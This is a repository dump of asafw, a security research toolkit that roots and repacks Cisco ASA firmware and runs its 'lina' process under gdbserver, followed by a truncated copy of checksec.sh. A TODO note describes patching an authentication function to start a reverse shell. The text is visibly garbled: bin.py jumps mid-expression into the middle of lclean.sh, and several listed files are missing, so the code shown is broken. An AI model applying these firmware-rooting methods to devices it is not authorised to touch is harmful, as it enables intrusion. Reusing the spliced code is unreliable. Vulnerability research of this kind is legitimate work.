├── LICENSE ├── README.md ├── TODO.md ├── asadb.json ├── bin.py ├── binfs ├── bashrc ├── lattach.sh ├── lclean.sh ├── ldebug.sh ├── lkill.sh ├── lstart.sh └── ltrap.sh ├── checksec.sh ├── cpio.sh ├── env.sh ├── helper.py ├── info.py ├── info.sh ├── lina.py ├── linabins.sh ├── unpack_repack_bin.sh └── unpack_repack_qcow2.sh /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2017, NCC Group 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this 11 | list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | * Neither the name of the {organization} nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 19 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 22 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 25 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 27 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | 2 | * Atm we are rooting the asa*.bin with asafw when we want to use it to attach gdb in asadbg 3 | Then at boot we are modifying the lina_monitor command line to attach gdb from the root shell 4 | (automatically using asadbg). It would be cleaner and quicker to just enable gdb in the filesystem 5 | and not have any root shell at boot at all. 6 | Another way of doing it would be to keep the root shell at boot and only use these for both booting 7 | with the debugger or without debugger. The advantage is that if we customised one .bin to have a debug 8 | shell, and other stuff, we don't have to generate 2 .bin but instead we rely on only one for both 9 | debugging/non-debugging it. Note that it has a drawback though. It is that it takes a bit longer to 10 | attach gdb when the root shell is enabled at boot than if it directly waits for gdb to connect 11 | See asadbg as well. 12 | 13 | * in lina.py, we could use aaa_admin_authenticate() arguments (2nd is the SSH login, 3rd 14 | is the SSH password) to pass the IP/port to use for the reverse shell 15 | but this is maybe over complicated since we won't need to patch it several 16 | times for our debugging environment anyway -------------------------------------------------------------------------------- /bin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # Main script to root a given asa*.bin firmware or unpack/repack it. 8 | # It is used by "unpack_repack_bin.sh". 9 | # 10 | # Execute this script as root so the repacked version has the right uid/gid. 11 | # 12 | # Some useful related links 13 | # http://7200emu.hacki.at/viewtopic.php?t=9074 14 | # https://gns3.com/discussions/uncompressing-asa-bin-file 15 | # https://gist.githubusercontent.com/anonymous/c3225054e6681a39be16/raw/3377f4c2283f1983bb1642c9debdbf8f68d3f67d/repack.v4.1.sh 16 | 17 | import sys 18 | import struct 19 | import binascii 20 | import argparse 21 | import re, os 22 | 23 | def logmsg(s, end=None): 24 | if type(s) == str: 25 | if end != None: 26 | print("[bin] " + s, end=end) 27 | else: 28 | print("[bin] " + s) 29 | else: 30 | print(s) 31 | 32 | def find_offsets(bin_data): 33 | """Find specific offsets in the asa*.bin file that are useful for unpacking 34 | and repacking. 35 | 36 | :param bin_data: the raw binary data read from asa*.bin 37 | """ 38 | 39 | # extract previous gz size from firmware 40 | # string is not far from the end so quicker to look for it from the end 41 | cmdlines = [ 42 | b"quiet loglevel=0 auto", 43 | b"auto quiet loglevel=0", # e.g. for 8.0.3 44 | b"quiet loglevel=0 ide1=noprobe", # e.g. for 8.0.4 45 | ] 46 | i = 0 47 | while i < len(cmdlines): 48 | idx = bin_data.rfind(cmdlines[i]) 49 | if idx != -1: 50 | break 51 | i += 1 52 | if idx == -1: 53 | logmsg("Error: Could not find any kernel command line") 54 | sys.exit(1) 55 | 56 | # XXX - there must be a proper way for finding the gz size 57 | idx_gz_size = idx-4 58 | old_gz_size = struct.unpack(" %s)" % (len(gz_data), old_gz_size)) 111 | sys.exit(1) 112 | logmsg("Old gzip size: 0x%x bytes" % (old_gz_size)) 113 | logmsg("New gzip size: 0x%x bytes" % (len(gz_data))) 114 | 115 | out_bin_data = bin_data[:idx_gz] + gz_data + bin_data[idx_gz+len(gz_data):idx_gz_size] + \ 116 | struct.pack(" /proc/sys/vm/nr_hugepages 10 | 11 | # lina "syslogd" internal process needs this file to NOT exist when initializing 12 | # e.g.: asav941-200 13 | echo "[lclean] Removing /dev/log..." 14 | rm /dev/log 15 | 16 | # lina "syslogd" internal process needs these files to NOT exist when initializing 17 | # E.g.: asa912-smp 18 | echo "[lclean] Removing /dev/ttyS0_vmX files..." 19 | rm /dev/ttyS0_vm1 20 | rm /dev/ttyS0_vm2 21 | 22 | echo "[lclean] Done." -------------------------------------------------------------------------------- /binfs/ldebug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Start lina userland process under gdbserver without reboot the whole Linux OS 4 | 5 | /asa/scripts/lkill.sh 6 | /asa/scripts/lclean.sh 7 | 8 | # we don't use lina_monitor to keep it simple and also so it does not reboot 9 | # when lina exits. Also we run it in the background so we can issue other 10 | # commands like killing stale gdbserver or lina after it exits/crashes... 11 | if [ -e /dev/ttyUSB0 ] 12 | then 13 | # Real ASA 14 | DEBUG_PORT=/dev/ttyUSB0 15 | else 16 | # GNS3 17 | DEBUG_PORT=/dev/ttyS0 18 | fi 19 | echo "[ldebug] Starting lina under gdbserver in the background, listening on $DEBUG_PORT..." 20 | gdbserver $DEBUG_PORT /asa/bin/lina -t -g -l & 21 | 22 | echo "[ldebug] Done." -------------------------------------------------------------------------------- /binfs/lkill.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Kill stale gdbserver or lina processes 4 | 5 | pkill -h &>2 /dev/null 6 | if [ $? = 127 ]; then 7 | # Real ASA 8 | echo "[lkill] No pkill binary, using custom method..." 9 | # # ps|grep lina 10 | # 1248 root gdbserver /dev/ttyUSB0 /asa/bin/lina -t -g -l 11 | # 1251 root [lina] 12 | # 1304 root grep lina 13 | # # ps|grep lina|cut -d" " -f2 14 | # 1248 15 | # 1251 16 | # 1306 17 | PID_LIST=$(ps|grep lina|cut -d" " -f2) 18 | for PID in $PID_LIST 19 | do 20 | echo "[lkill] Killing PID: $PID" 21 | kill -9 $PID 22 | done 23 | else 24 | # GNS3 25 | echo "[lkill] Killing gdbserver" 26 | pkill -9 gdbserver 27 | 28 | echo "[lkill] Killing lina" 29 | pkill -9 lina 30 | fi 31 | 32 | echo "[lkill] Sleeping 2 seconds..." 33 | sleep 2 34 | 35 | echo "[lkill] Done." -------------------------------------------------------------------------------- /binfs/lstart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Restart lina userland process without reboot the whole Linux OS 4 | # 5 | # Note: 6 | # You can use "crashinfo force page-fault" to force a crash from Cisco CLI for testing purpose 7 | # 8 | 9 | /asa/scripts/lkill.sh 10 | /asa/scripts/lclean.sh 11 | 12 | # we don't use lina_monitor to keep it simple and also so it does not reboot 13 | # when lina exits 14 | 15 | # GNS3 16 | # XXX - detect GNS3 if we want to keep this method? 17 | #echo "[lstart] Starting lina..." 18 | #echo "[lstart] Expect a Cisco CLI sooner than later..." 19 | #/asa/bin/lina -t -l 20 | #echo "[lstart] lina exited, probably crashed?" 21 | 22 | # Real ASA 23 | echo "[lstart] Starting lina in the background..." 24 | /asa/bin/lina -t -l & 25 | echo "[lstart] Done." 26 | -------------------------------------------------------------------------------- /binfs/ltrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Send a SIG_TRAP to /asa/bin/lina. 4 | # 5 | # Assumes we are debugging lina (i.e. gdbserver is attached to lina to catch the signal) 6 | # This is to simulate a CTRL+C in gdb. 7 | 8 | # # ps|grep /asa/bin/lina 9 | # 1177 root gdbserver /dev/ttyUSB0 /asa/bin/lina -t -g -l 10 | # 1180 root /asa/bin/lina -t -g -l 11 | # 1189 root grep /asa/bin/lina 12 | # # ps|grep /asa/bin/lina|grep -vE "gdbserver|grep" 13 | # 1180 root /asa/bin/lina -t -g -l 14 | # # ps|grep /asa/bin/lina|grep -vE "gdbserver|grep"|cut -d" " -f2 15 | # 1180 16 | PID=$(ps|grep /asa/bin/lina|grep -vE "gdbserver|grep"|cut -d" " -f2) 17 | echo "[ltrap] Sending SIGTRAP to PID: $PID" 18 | kill -5 $PID 19 | 20 | echo "[ltrap] Done." -------------------------------------------------------------------------------- /checksec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # source: http://www.trapkit.de/tools/checksec.html 3 | # 4 | # The BSD License (http://www.opensource.org/licenses/bsd-license.php) 5 | # specifies the terms and conditions of use for checksec.sh: 6 | # 7 | # Copyright (c) 2009-2011, Tobias Klein. 8 | # All rights reserved. 9 | # 10 | # Redistribution and use in source and binary forms, with or without 11 | # modification, are permitted provided that the following conditions 12 | # are met: 13 | # 14 | # * Redistributions of source code must retain the above copyright 15 | # notice, this list of conditions and the following disclaimer. 16 | # * Redistributions in binary form must reproduce the above copyright 17 | # notice, this list of conditions and the following disclaimer in 18 | # the documentation and/or other materials provided with the 19 | # distribution. 20 | # * Neither the name of Tobias Klein nor the name of trapkit.de may be 21 | # used to endorse or promote products derived from this software 22 | # without specific prior written permission. 23 | # 24 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 27 | # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 28 | # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 29 | # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 30 | # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS 31 | # OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 32 | # AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 33 | # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF 34 | # THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 35 | # DAMAGE. 36 | # 37 | # Name : checksec.sh 38 | # Version : 1.5 39 | # Author : Tobias Klein 40 | # Date : November 2011 41 | # Download: http://www.trapkit.de/tools/checksec.html 42 | # Changes : http://www.trapkit.de/tools/checksec_changes.txt 43 | # 44 | # Description: 45 | # 46 | # Modern Linux distributions offer some mitigation techniques to make it 47 | # harder to exploit software vulnerabilities reliably. Mitigations such 48 | # as RELRO, NoExecute (NX), Stack Canaries, Address Space Layout 49 | # Randomization (ASLR) and Position Independent Executables (PIE) have 50 | # made reliably exploiting any vulnerabilities that do exist far more 51 | # challenging. The checksec.sh script is designed to test what *standard* 52 | # Linux OS and PaX (http://pax.grsecurity.net/) security features are being 53 | # used. 54 | # 55 | # As of version 1.3 the script also lists the status of various Linux kernel 56 | # protection mechanisms. 57 | # 58 | # Credits: 59 | # 60 | # Thanks to Brad Spengler (grsecurity.net) for the PaX support. 61 | # Thanks to Jon Oberheide (jon.oberheide.org) for the kernel support. 62 | # Thanks to Ollie Whitehouse (Research In Motion) for rpath/runpath support. 63 | # 64 | # Others that contributed to checksec.sh (in no particular order): 65 | # 66 | # Simon Ruderich, Denis Scherbakov, Stefan Kuttler, Radoslaw Madej, 67 | # Anthony G. Basile, Martin Vaeth and Brian Davis. 68 | # 69 | 70 | # global vars 71 | have_readelf=1 72 | verbose=false 73 | 74 | # FORTIFY_SOURCE vars 75 | FS_end=_chk 76 | FS_cnt_total=0 77 | FS_cnt_checked=0 78 | FS_cnt_unchecked=0 79 | FS_chk_func_libc=0 80 | FS_functions=0 81 | FS_libc=0 82 | 83 | # version information 84 | version() { 85 | echo "checksec v1.5, Tobias Klein, www.trapkit.de, November 2011" 86 | echo 87 | } 88 | 89 | # help 90 | help() { 91 | echo "Usage: checksec [OPTION]" 92 | echo 93 | echo "Options:" 94 | echo 95 | echo " --file " 96 | echo " --dir [-v]" 97 | echo " --proc " 98 | echo " --proc-all" 99 | echo " --proc-libs " 100 | echo " --kernel" 101 | echo " --fortify-file " 102 | echo " --fortify-proc " 103 | echo " --version" 104 | echo " --help" 105 | echo 106 | echo "For more information, see:" 107 | echo " http://www.trapkit.de/tools/checksec.html" 108 | echo 109 | } 110 | 111 | # check if command exists 112 | command_exists () { 113 | type $1 > /dev/null 2>&1; 114 | } 115 | 116 | # check if directory exists 117 | dir_exists () { 118 | if [ -d $1 ] ; then 119 | return 0 120 | else 121 | return 1 122 | fi 123 | } 124 | 125 | # check user privileges 126 | root_privs () { 127 | if [ $(/usr/bin/id -u) -eq 0 ] ; then 128 | return 0 129 | else 130 | return 1 131 | fi 132 | } 133 | 134 | # check if input is numeric 135 | isNumeric () { 136 | echo "$@" | grep -q -v "[^0-9]" 137 | } 138 | 139 | # check if input is a string 140 | isString () { 141 | echo "$@" | grep -q -v "[^A-Za-z]" 142 | } 143 | 144 | # check file(s) 145 | filecheck() { 146 | # check for RELRO support 147 | if readelf -l $1 2>/dev/null | grep -q 'GNU_RELRO'; then 148 | if readelf -d $1 2>/dev/null | grep -q 'BIND_NOW'; then 149 | echo -n -e '\033[32mFull RELRO \033[m ' 150 | else 151 | echo -n -e '\033[33mPartial RELRO\033[m ' 152 | fi 153 | else 154 | echo -n -e '\033[31mNo RELRO \033[m ' 155 | fi 156 | 157 | # check for stack canary support 158 | if readelf -s $1 2>/dev/null | grep -q '__stack_chk_fail'; then 159 | echo -n -e '\033[32mCanary found \033[m ' 160 | else 161 | echo -n -e '\033[31mNo canary found\033[m ' 162 | fi 163 | 164 | # check for NX support 165 | if readelf -W -l $1 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 166 | echo -n -e '\033[31mNX disabled\033[m ' 167 | else 168 | echo -n -e '\033[32mNX enabled \033[m ' 169 | fi 170 | 171 | # check for PIE support 172 | if readelf -h $1 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 173 | echo -n -e '\033[31mNo PIE \033[m ' 174 | elif readelf -h $1 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 175 | if readelf -d $1 2>/dev/null | grep -q '(DEBUG)'; then 176 | echo -n -e '\033[32mPIE enabled \033[m ' 177 | else 178 | echo -n -e '\033[33mDSO \033[m ' 179 | fi 180 | else 181 | echo -n -e '\033[33mNot an ELF file\033[m ' 182 | fi 183 | 184 | # check for rpath / run path 185 | if readelf -d $1 2>/dev/null | grep -q 'rpath'; then 186 | echo -n -e '\033[31mRPATH \033[m ' 187 | else 188 | echo -n -e '\033[32mNo RPATH \033[m ' 189 | fi 190 | 191 | if readelf -d $1 2>/dev/null | grep -q 'runpath'; then 192 | echo -n -e '\033[31mRUNPATH \033[m ' 193 | else 194 | echo -n -e '\033[32mNo RUNPATH \033[m ' 195 | fi 196 | } 197 | 198 | # check process(es) 199 | proccheck() { 200 | # check for RELRO support 201 | if readelf -l $1/exe 2>/dev/null | grep -q 'Program Headers'; then 202 | if readelf -l $1/exe 2>/dev/null | grep -q 'GNU_RELRO'; then 203 | if readelf -d $1/exe 2>/dev/null | grep -q 'BIND_NOW'; then 204 | echo -n -e '\033[32mFull RELRO \033[m ' 205 | else 206 | echo -n -e '\033[33mPartial RELRO \033[m ' 207 | fi 208 | else 209 | echo -n -e '\033[31mNo RELRO \033[m ' 210 | fi 211 | else 212 | echo -n -e '\033[31mPermission denied (please run as root)\033[m\n' 213 | exit 1 214 | fi 215 | 216 | # check for stack canary support 217 | if readelf -s $1/exe 2>/dev/null | grep -q 'Symbol table'; then 218 | if readelf -s $1/exe 2>/dev/null | grep -q '__stack_chk_fail'; then 219 | echo -n -e '\033[32mCanary found \033[m ' 220 | else 221 | echo -n -e '\033[31mNo canary found \033[m ' 222 | fi 223 | else 224 | if [ "$1" != "1" ] ; then 225 | echo -n -e '\033[33mPermission denied \033[m ' 226 | else 227 | echo -n -e '\033[33mNo symbol table found\033[m ' 228 | fi 229 | fi 230 | 231 | # first check for PaX support 232 | if cat $1/status 2> /dev/null | grep -q 'PaX:'; then 233 | pageexec=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b6) ) 234 | segmexec=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b10) ) 235 | mprotect=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b8) ) 236 | randmmap=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b9) ) 237 | if [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "R" ]] ; then 238 | echo -n -e '\033[32mPaX enabled\033[m ' 239 | elif [[ "$pageexec" = "p" && "$segmexec" = "s" && "$randmmap" = "R" ]] ; then 240 | echo -n -e '\033[33mPaX ASLR only\033[m ' 241 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "R" ]] ; then 242 | echo -n -e '\033[33mPaX mprot off \033[m' 243 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "r" ]] ; then 244 | echo -n -e '\033[33mPaX ASLR off\033[m ' 245 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "r" ]] ; then 246 | echo -n -e '\033[33mPaX NX only\033[m ' 247 | else 248 | echo -n -e '\033[31mPaX disabled\033[m ' 249 | fi 250 | # fallback check for NX support 251 | elif readelf -W -l $1/exe 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 252 | echo -n -e '\033[31mNX disabled\033[m ' 253 | else 254 | echo -n -e '\033[32mNX enabled \033[m ' 255 | fi 256 | 257 | # check for PIE support 258 | if readelf -h $1/exe 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 259 | echo -n -e '\033[31mNo PIE \033[m ' 260 | elif readelf -h $1/exe 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 261 | if readelf -d $1/exe 2>/dev/null | grep -q '(DEBUG)'; then 262 | echo -n -e '\033[32mPIE enabled \033[m ' 263 | else 264 | echo -n -e '\033[33mDynamic Shared Object\033[m ' 265 | fi 266 | else 267 | echo -n -e '\033[33mNot an ELF file \033[m ' 268 | fi 269 | } 270 | 271 | # check mapped libraries 272 | libcheck() { 273 | libs=( $(awk '{ print $6 }' /proc/$1/maps | grep '/' | sort -u | xargs file | grep ELF | awk '{ print $1 }' | sed 's/:/ /') ) 274 | 275 | printf "\n* Loaded libraries (file information, # of mapped files: ${#libs[@]}):\n\n" 276 | 277 | for element in $(seq 0 $((${#libs[@]} - 1))) 278 | do 279 | echo " ${libs[$element]}:" 280 | echo -n " " 281 | filecheck ${libs[$element]} 282 | printf "\n\n" 283 | done 284 | } 285 | 286 | # check for system-wide ASLR support 287 | aslrcheck() { 288 | # PaX ASLR support 289 | if !(cat /proc/1/status 2> /dev/null | grep -q 'Name:') ; then 290 | echo -n -e ':\033[33m insufficient privileges for PaX ASLR checks\033[m\n' 291 | echo -n -e ' Fallback to standard Linux ASLR check' 292 | fi 293 | 294 | if cat /proc/1/status 2> /dev/null | grep -q 'PaX:'; then 295 | printf ": " 296 | if cat /proc/1/status 2> /dev/null | grep 'PaX:' | grep -q 'R'; then 297 | echo -n -e '\033[32mPaX ASLR enabled\033[m\n\n' 298 | else 299 | echo -n -e '\033[31mPaX ASLR disabled\033[m\n\n' 300 | fi 301 | else 302 | # standard Linux 'kernel.randomize_va_space' ASLR support 303 | # (see the kernel file 'Documentation/sysctl/kernel.txt' for a detailed description) 304 | printf " (kernel.randomize_va_space): " 305 | if /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 1'; then 306 | echo -n -e '\033[33mOn (Setting: 1)\033[m\n\n' 307 | printf " Description - Make the addresses of mmap base, stack and VDSO page randomized.\n" 308 | printf " This, among other things, implies that shared libraries will be loaded to \n" 309 | printf " random addresses. Also for PIE-linked binaries, the location of code start\n" 310 | printf " is randomized. Heap addresses are *not* randomized.\n\n" 311 | elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 2'; then 312 | echo -n -e '\033[32mOn (Setting: 2)\033[m\n\n' 313 | printf " Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.\n" 314 | printf " This, among other things, implies that shared libraries will be loaded to random \n" 315 | printf " addresses. Also for PIE-linked binaries, the location of code start is randomized.\n\n" 316 | elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 0'; then 317 | echo -n -e '\033[31mOff (Setting: 0)\033[m\n' 318 | else 319 | echo -n -e '\033[31mNot supported\033[m\n' 320 | fi 321 | printf " See the kernel file 'Documentation/sysctl/kernel.txt' for more details.\n\n" 322 | fi 323 | } 324 | 325 | # check cpu nx flag 326 | nxcheck() { 327 | if grep -q nx /proc/cpuinfo; then 328 | echo -n -e '\033[32mYes\033[m\n\n' 329 | else 330 | echo -n -e '\033[31mNo\033[m\n\n' 331 | fi 332 | } 333 | 334 | # check for kernel protection mechanisms 335 | kernelcheck() { 336 | printf " Description - List the status of kernel protection mechanisms. Rather than\n" 337 | printf " inspect kernel mechanisms that may aid in the prevention of exploitation of\n" 338 | printf " userspace processes, this option lists the status of kernel configuration\n" 339 | printf " options that harden the kernel itself against attack.\n\n" 340 | printf " Kernel config: " 341 | 342 | if [ -f /proc/config.gz ] ; then 343 | kconfig="zcat /proc/config.gz" 344 | printf "\033[32m/proc/config.gz\033[m\n\n" 345 | elif [ -f /boot/config-`uname -r` ] ; then 346 | kconfig="cat /boot/config-`uname -r`" 347 | printf "\033[33m/boot/config-`uname -r`\033[m\n\n" 348 | printf " Warning: The config on disk may not represent running kernel config!\n\n"; 349 | elif [ -f "${KBUILD_OUTPUT:-/usr/src/linux}"/.config ] ; then 350 | kconfig="cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config" 351 | printf "\033[33m%s\033[m\n\n" "${KBUILD_OUTPUT:-/usr/src/linux}/.config" 352 | printf " Warning: The config on disk may not represent running kernel config!\n\n"; 353 | else 354 | printf "\033[31mNOT FOUND\033[m\n\n" 355 | exit 0 356 | fi 357 | 358 | printf " GCC stack protector support: " 359 | if $kconfig | grep -qi 'CONFIG_CC_STACKPROTECTOR=y'; then 360 | printf "\033[32mEnabled\033[m\n" 361 | else 362 | printf "\033[31mDisabled\033[m\n" 363 | fi 364 | 365 | printf " Strict user copy checks: " 366 | if $kconfig | grep -qi 'CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y'; then 367 | printf "\033[32mEnabled\033[m\n" 368 | else 369 | printf "\033[31mDisabled\033[m\n" 370 | fi 371 | 372 | printf " Enforce read-only kernel data: " 373 | if $kconfig | grep -qi 'CONFIG_DEBUG_RODATA=y'; then 374 | printf "\033[32mEnabled\033[m\n" 375 | else 376 | printf "\033[31mDisabled\033[m\n" 377 | fi 378 | printf " Restrict /dev/mem access: " 379 | if $kconfig | grep -qi 'CONFIG_STRICT_DEVMEM=y'; then 380 | printf "\033[32mEnabled\033[m\n" 381 | else 382 | printf "\033[31mDisabled\033[m\n" 383 | fi 384 | 385 | printf " Restrict /dev/kmem access: " 386 | if $kconfig | grep -qi 'CONFIG_DEVKMEM=y'; then 387 | printf "\033[31mDisabled\033[m\n" 388 | else 389 | printf "\033[32mEnabled\033[m\n" 390 | fi 391 | 392 | printf "\n" 393 | printf "* grsecurity / PaX: " 394 | 395 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC=y'; then 396 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_HIGH=y'; then 397 | printf "\033[32mHigh GRKERNSEC\033[m\n\n" 398 | elif $kconfig | grep -qi 'CONFIG_GRKERNSEC_MEDIUM=y'; then 399 | printf "\033[33mMedium GRKERNSEC\033[m\n\n" 400 | elif $kconfig | grep -qi 'CONFIG_GRKERNSEC_LOW=y'; then 401 | printf "\033[31mLow GRKERNSEC\033[m\n\n" 402 | else 403 | printf "\033[33mCustom GRKERNSEC\033[m\n\n" 404 | fi 405 | 406 | printf " Non-executable kernel pages: " 407 | if $kconfig | grep -qi 'CONFIG_PAX_KERNEXEC=y'; then 408 | printf "\033[32mEnabled\033[m\n" 409 | else 410 | printf "\033[31mDisabled\033[m\n" 411 | fi 412 | 413 | printf " Prevent userspace pointer deref: " 414 | if $kconfig | grep -qi 'CONFIG_PAX_MEMORY_UDEREF=y'; then 415 | printf "\033[32mEnabled\033[m\n" 416 | else 417 | printf "\033[31mDisabled\033[m\n" 418 | fi 419 | 420 | printf " Prevent kobject refcount overflow: " 421 | if $kconfig | grep -qi 'CONFIG_PAX_REFCOUNT=y'; then 422 | printf "\033[32mEnabled\033[m\n" 423 | else 424 | printf "\033[31mDisabled\033[m\n" 425 | fi 426 | 427 | printf " Bounds check heap object copies: " 428 | if $kconfig | grep -qi 'CONFIG_PAX_USERCOPY=y'; then 429 | printf "\033[32mEnabled\033[m\n" 430 | else 431 | printf "\033[31mDisabled\033[m\n" 432 | fi 433 | 434 | printf " Disable writing to kmem/mem/port: " 435 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_KMEM=y'; then 436 | printf "\033[32mEnabled\033[m\n" 437 | else 438 | printf "\033[31mDisabled\033[m\n" 439 | fi 440 | 441 | printf " Disable privileged I/O: " 442 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_IO=y'; then 443 | printf "\033[32mEnabled\033[m\n" 444 | else 445 | printf "\033[31mDisabled\033[m\n" 446 | fi 447 | 448 | printf " Harden module auto-loading: " 449 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_MODHARDEN=y'; then 450 | printf "\033[32mEnabled\033[m\n" 451 | else 452 | printf "\033[31mDisabled\033[m\n" 453 | fi 454 | 455 | printf " Hide kernel symbols: " 456 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_HIDESYM=y'; then 457 | printf "\033[32mEnabled\033[m\n" 458 | else 459 | printf "\033[31mDisabled\033[m\n" 460 | fi 461 | else 462 | printf "\033[31mNo GRKERNSEC\033[m\n\n" 463 | printf " The grsecurity / PaX patchset is available here:\n" 464 | printf " http://grsecurity.net/\n" 465 | fi 466 | 467 | printf "\n" 468 | printf "* Kernel Heap Hardening: " 469 | 470 | if $kconfig | grep -qi 'CONFIG_KERNHEAP=y'; then 471 | if $kconfig | grep -qi 'CONFIG_KERNHEAP_FULLPOISON=y'; then 472 | printf "\033[32mFull KERNHEAP\033[m\n\n" 473 | else 474 | printf "\033[33mPartial KERNHEAP\033[m\n\n" 475 | fi 476 | else 477 | printf "\033[31mNo KERNHEAP\033[m\n\n" 478 | printf " The KERNHEAP hardening patchset is available here:\n" 479 | printf " https://www.subreption.com/kernheap/\n\n" 480 | fi 481 | } 482 | 483 | # --- FORTIFY_SOURCE subfunctions (start) --- 484 | 485 | # is FORTIFY_SOURCE supported by libc? 486 | FS_libc_check() { 487 | printf "* FORTIFY_SOURCE support available (libc) : " 488 | 489 | if [ "${#FS_chk_func_libc[@]}" != "0" ] ; then 490 | printf "\033[32mYes\033[m\n" 491 | else 492 | printf "\033[31mNo\033[m\n" 493 | exit 1 494 | fi 495 | } 496 | 497 | # was the binary compiled with FORTIFY_SOURCE? 498 | FS_binary_check() { 499 | printf "* Binary compiled with FORTIFY_SOURCE support: " 500 | 501 | for FS_elem_functions in $(seq 0 $((${#FS_functions[@]} - 1))) 502 | do 503 | if [[ ${FS_functions[$FS_elem_functions]} =~ _chk ]] ; then 504 | printf "\033[32mYes\033[m\n" 505 | return 506 | fi 507 | done 508 | printf "\033[31mNo\033[m\n" 509 | exit 1 510 | } 511 | 512 | FS_comparison() { 513 | echo 514 | printf " ------ EXECUTABLE-FILE ------- . -------- LIBC --------\n" 515 | printf " FORTIFY-able library functions | Checked function names\n" 516 | printf " -------------------------------------------------------\n" 517 | 518 | for FS_elem_libc in $(seq 0 $((${#FS_chk_func_libc[@]} - 1))) 519 | do 520 | for FS_elem_functions in $(seq 0 $((${#FS_functions[@]} - 1))) 521 | do 522 | FS_tmp_func=${FS_functions[$FS_elem_functions]} 523 | FS_tmp_libc=${FS_chk_func_libc[$FS_elem_libc]} 524 | 525 | if [[ $FS_tmp_func =~ ^$FS_tmp_libc$ ]] ; then 526 | printf " \033[31m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 527 | let FS_cnt_total++ 528 | let FS_cnt_unchecked++ 529 | elif [[ $FS_tmp_func =~ ^$FS_tmp_libc(_chk) ]] ; then 530 | printf " 